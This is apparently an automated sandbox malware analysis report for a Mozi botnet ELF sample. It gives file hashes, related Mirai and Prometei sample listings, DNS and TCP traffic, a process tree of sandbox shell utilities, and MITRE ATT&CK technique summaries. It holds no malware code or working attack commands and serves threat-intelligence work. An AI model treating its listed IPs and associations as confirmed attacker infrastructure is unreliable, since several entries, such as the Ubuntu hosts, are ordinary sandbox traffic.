	resgod.arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	resgod.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	resgod.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	vjwe68k.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	i.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, missing section headers at 307920
Entropy (8bit):	6.027433742547694
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Mozi.m.elf
File size:	285'420 bytes
MD5:	a418ef994dc1f9159012ea97c9d99834
SHA1:	aa6710a73df21e364d59785fc0d3f03b9783b880
SHA256:	caaff8c0f1d39424f4f3c55f5199bd709d78e343bc6050ed62d91bd6282df552
SHA512:	35b95d32def7303296b65454bd7cfdf59f9dc37f01a28f215a1b83a770a2d46c54f43052cac16ed1a652b6f9073ab76fd78b78f058b59f15e091ec71b2a6d840
SSDEEP:	6144:T2s/gAWuboqsJ9xcJxspJBqQgTuaJZRhVabE5wKSDP99zBa77oNsKqqfPqOJg:T2s/bW+UmJqBxAuaPRhVabEDSDP99zBU
TLSH:	17543A8AFD81AE25D5C1267BFE2F428A331317B8D2EB71129D145F2876CA94F0F3A541
File Content Preview:	.ELF..............(.........4...P.......4. ...(........p............(...(...............................................................8...........................................Q.td..................................-...L..................@-.,@...0....S

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 4
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2025 11:04:20.264374018 CET	48202	443	192.168.2.13	185.125.190.26
Mar 28, 2025 11:04:51.748344898 CET	48202	443	192.168.2.13	185.125.190.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2025 11:04:10.302181005 CET	38259	53	192.168.2.13	8.8.8.8
Mar 28, 2025 11:04:10.302232027 CET	54420	53	192.168.2.13	8.8.8.8
Mar 28, 2025 11:04:10.390382051 CET	53	54420	8.8.8.8	192.168.2.13
Mar 28, 2025 11:04:10.390398979 CET	53	38259	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 28, 2025 11:04:10.302181005 CET	192.168.2.13	8.8.8.8	0x3802	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 28, 2025 11:04:10.302232027 CET	192.168.2.13	8.8.8.8	0xc2c5	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 28, 2025 11:04:10.390398979 CET	8.8.8.8	192.168.2.13	0x3802	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Mar 28, 2025 11:04:10.390398979 CET	8.8.8.8	192.168.2.13	0x3802	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: dash PID: 5408, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5408, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.23fD2FP8ru /tmp/tmp.RgLKVlZJ0J /tmp/tmp.5lf3Du1i2X
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5409, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cat PID: 5409, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.23fD2FP8ru
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5410, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: head PID: 5410, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5411, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: tr PID: 5411, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5412, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cut PID: 5412, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5413, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cat PID: 5413, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.23fD2FP8ru
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5414, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: head PID: 5414, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5415, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: tr PID: 5415, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5416, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cut PID: 5416, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5417, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5417, Parent PID: 3588

General

Start time (UTC):	10:03:58
Start date (UTC):	28/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.23fD2FP8ru /tmp/tmp.RgLKVlZJ0J /tmp/tmp.5lf3Du1i2X
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: Mozi.m.elf PID: 5430, Parent PID: 5342

General

Start time (UTC):	10:04:08
Start date (UTC):	28/03/2025
Path:	/tmp/Mozi.m.elf
Arguments:	/tmp/Mozi.m.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report Mozi.m.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: dash PID: 5408, Parent PID: 3588

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5408, Parent PID: 3588

General

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5409, Parent PID: 3588

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cat PID: 5409, Parent PID: 3588

General

File Activities

File Opened

File Read

Linux Analysis Report
Mozi.m.elf